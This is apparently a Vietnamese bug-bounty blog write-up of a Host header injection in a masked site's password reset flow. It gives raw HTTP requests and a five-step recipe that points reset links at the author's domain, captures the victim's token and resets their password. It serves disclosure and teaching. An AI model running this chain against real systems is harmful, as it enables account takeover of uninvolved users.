Host header attack will never die

hkln1
tradahacking
Published in
5 min readJan 3, 2019
  • Vài tháng trước tôi có viết một write up liên quan đến kỹ thuật này #HoàiNiệm [nếu bạn nào chưa xem, đi qua đi lại nhớ ghé ủng hộ tôi vài cái view cho xôm tụ nhé ^ ^]. Đây là kỹ thuật khai thác tương đối đơn giản nhưng mang lại bounty kha khá. Tôi có duyên gặp nó thường xuyên đến nỗi chỉ thua gặp vợ và con có một chút mà thôi ^^. Mà mỗi lần gặp là triaged :|. Tôi không hiểu nguyên nhân là do các researcher khác thấy nó đơn giản không thèm submit hay câu nói huyền thoại “Làm giàu không khó” là có thật -_-! Trường hợp lần này nó dễ hơn lần trước biết bao nhiêu, dễ đến nỗi chỉ vài ba cái request là xong, không thể đơn giản hơn [không cần bypass mẹ gì hết =))].
  • Chuyện là do hoàn thành mục tiêu thu nhập của năm sớm, nên hai, ba tháng nay không có đụng tới bug bounty. Riết Bugcrowd nó ghét, không thèm mời chương trình private nào hết :(. Thế là tôi moi lại mấy chương trình cũ mà hồi trước mình chảnh ko thèm accept =)). Như thường lệ, trước tiên tôi thường tập trung vào mấy chức năng quan trọng. Chức năng reset password không có param id/email của user nên không thể test IDOR để takeover account của thằng khác. Vậy để thử host header attack xem sao ?!. Sau khi nhập email để reset password, ứng dụng sẽ gửi 2 request: một request để validate email này đã đăng ký chưa, một request để tạo/gửi reset password email
  • Tôi lấy request tạo/gửi reset password email, chỉnh Host: login.hehe.comHost: hkln1.ninja và thực thi nó

POST /api/account/email-recovery-link HTTP/1.1
Host: hkln1.ninja
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36
Accept: application/json
CSRFTOKEN: 8dPv8AQO0NC8FxvEMumWRIhpljxXdJGH
Content-Type: application/json
Cookie: RCRoutingInfo=B:S/bnSsr3Na2jHm5zgyiMuCY2yoOpH5ywBdqRSivA0PW4xmE21FIvVVNVjGd8t1V2; RCAuthSession=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ7XCJybFwiOnRydWUsXCJydGZcIjp0cnVlLFwicmNcIjpmYWxzZSxcInVuXCI6XCJoa2xuMSsxQGJ1Z2Nyb3dkbmluamEuY29tXCIsXCJwaW5cIjpcIlwiLFwiZGlcIjpudWxsLFwiYWlkX

{“appUrlScheme”:”https://developer.hehe.com/api/signup/three_legged_oauth/oauthredirect","display":"page","clientId":"dqlOs9GHQEyyb9zBKOreTw","uiOptions":"hide_tos external_popup hide_consent”,”brandId”:”1210",”localeId”:”en_US”,”responseType”:”code”,”prompt”:”login sso”}

  • Response trả về:

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 28 Dec 2018 10:26:15 GMT
Content-Type: application/json
Content-Length: 89
Connection: close

{
“status” : {
“success” : true,
“code” : 0
},
“data” : “h***1@b***a.com”
}

  • Tôi vào kiểm tra mailbox. Ôi mẹ ơi, ko cần bypass gì hết, hiu hiu :o
  • Click vào link đó, nó sẽ request kèm theo reset token về server của tôi
  • Tới đây chỉ cần ôm cái token này đem bỏ vào cái request reset password là xong PoC…hehe….nhưng…nhìn vô cái request reset password có cái gì sai sai ở đây :|

POST /api/account/reset-password HTTP/1.1
Host: login.hehe.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: application/json
Referer:
CSRFTOKEN: I5nSic3kwPN6KK3nHzfWvb0oH7baGbLB
Content-Type: application/json
Cookie: RCAuthSession=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ7XCJybFwiOmZhbHNlLFwicnRmXCI6ZmFsc2UsXCJyY1wiOmZhbHNlLFwidW5cIjpcImhrbG4xKzFAY…….

{“password”:”FlapFlap”,”ivrPin”:””}

  • WTF !!! cái reset token ở đâu đâu đâu trong request ???, thế nó xử lý làm sao ?!…Về lý thuyết, cái reset token phải ở trong request reset password, để khi gửi lên server nó decrypt ra xem user/email nào và update với password user gửi lên. Đằng này cái reset token lại không gửi kèm với request reset password. Thế nó đóng vai trò mịe gì trong luồng xử lý chức năng quên mật khẩu :o. Sau khi nhìn kỹ lại các request, với đầu óc trinh thám siêu ngoại cảm của tôi, tôi đoán cái cookie [RCAuthSession] là hung thủ chính trong vụ án mạng nghiêm trọng này…và đúng như suy luận của tôi, sau khi user click vào link có kèm reset token [trong mailbox]

GET /api/recovery?code=6YPPze8X8X31erN0q0Qx3aAfwS9Mrn8WGDoCDLXIkoLnIyQVUuaYyoKcdeGwRyQajBiBL3diPAv%2FxlzX9FVagJ27fjjtcz6iNqCAqDODtMM%3D HTTP/1.1
Host: login.hehe.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

  • Nhận được request (có đính kèm reset token) đó, server sẽ set 2 cookie trong response trả về:

HTTP/1.1 200 OK
Server: nginx
Date: Sun, 30 Dec 2018 05:38:04 GMT
Content-Type: text/html
Content-Length: 826
Connection: close
Set-Cookie: RCRoutingInfo=B:S/bnSsr3Na2jHm5zgyiMuCY2yoOpH5ywBdqRSivA0PW48cvuWwklqATRyrJhDaG0; Path=/
X-Application-Context: application:docker:63291
Cache-Control: no-cache, no-store, must-revalidate
Expires: 0
x-frame-options: sameorigin
x-xss-protection: 1; mode=block
Set-Cookie: RCAuthSession=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ7XCJybFwiOmZhbHNlLFwicnRmXCI6ZmFsc2UsXCJyY1wiOmZhbHNlLFwidW5cIjpcImhrbG4xKzFAYnVnY3Jvd2RuaW5qYS5jb…

  • Sau khi kiểm tra, cái cookie RCRoutingInfo không đóng vai trò gì hết trong vụ án này. Nhìn kỹ, cookie còn lại RCAuthSession sẽ dùng để gửi đi trong request reset password. Xâu chuỗi lại mọi dữ kiện, bí ẩn thế kỉ đã có lời giải đáp. Để tôi tóm tắt lại, để takeover account của thằng khác, attacker sẽ làm như sau:
  • 1- Nhập email muốn “luộc”, intercept request thứ 2 (request đầu là request validate email có tồn tại/đã đăng ký), sửa Host: hehe.com thành Host: domaincuaattacker.com (trong trường hợp của tôi là hkln1.ninja) sau đó thực thi nó

POST /api/account/email-recovery-link HTTP/1.1
Host: hkln1.ninja
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:

……………….

{“appUrlScheme”:”https://developer.hehe.com/api/signup","display":"page","clientId":"dqlOs9GHQEyyb9zBKOreTw","uiOptions":"hide_tos external_popup hide_consent”,”brandId”:”1210",”localeId”:”en_US”,”responseType”:”code”,”prompt”:”login sso”}

  • 2- Vào mailbox click vào malicious link sau khi đã exploit ở bước 1 (ngữ cảnh real world thì chờ victim click vào link đó)
  • 3- Vào log server của mình lấy reset token (đã cướp ở bước 2)
  • 4- Thực thi request sau với reset token và lưu giá trị Set-Cookie: RCAuthSession trong response trả về

GET /api/recovery?code=6YPPze8X8X31erN0q0Qx3aAfwS9Mrn8WGDoCDLXIkoLnIyQVUuaYyoKcdeGwRyQajBiBL3diPAv%2FxlzX9FVagJ27fjjtcz6iNqCAqDODtMM%3D HTTP/1.1
Host: login.hehe.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

  • 5-Thực thi request sau với gía trị RCAuthSession đã lưu ở bước 4

POST /api/account/reset-password HTTP/1.1
Host: login.hehe.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
CSRFTOKEN: I5nSic3kwPN6KK3nHzfWvb0oH7baGbLB
Content-Type: application/json
Content-Length: 39
Connection: close
Cookie: RCAuthSession=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ7XCJybFwiOmZhbHNlLFwicnRmXCI6ZmFsc2UsXCJyY1wiOmZhbHNlLFwidW5cIjpcIm………………………

{“password”:”FlapFlap”,”ivrPin”:””}

  • Thế là reset password của thằng victim với giá trị FlapFlap. Hehe. Nhưng nhìn kĩ request cuối các bạn có thấy gì lạ lạ ko, đó là giá trị CSRFTOKEN: I5nSic3kwPN6KK3nHzfWvb0oH7baGbLB. Nếu tôi xoá/bỏ đi giá trị này, request sẽ không thực hiện thành công. Tôi không biết giá trị này có phải generate ra từ email mà mình muốn takeover hay không. Nếu như phải thì sẽ nguy to, vì mình không thể biết gía trị này (chỉ khi nào đăng nhập thành công ứng dụng mới tạo ra giá trị này). Thế là sau một hồi kiểm tra, may mắn là CSRFTOKEN của anonymous nó cũng chịu, thế là xong cmnr :)). HAPPY NEW TRIAGED ! ^ ^

--

--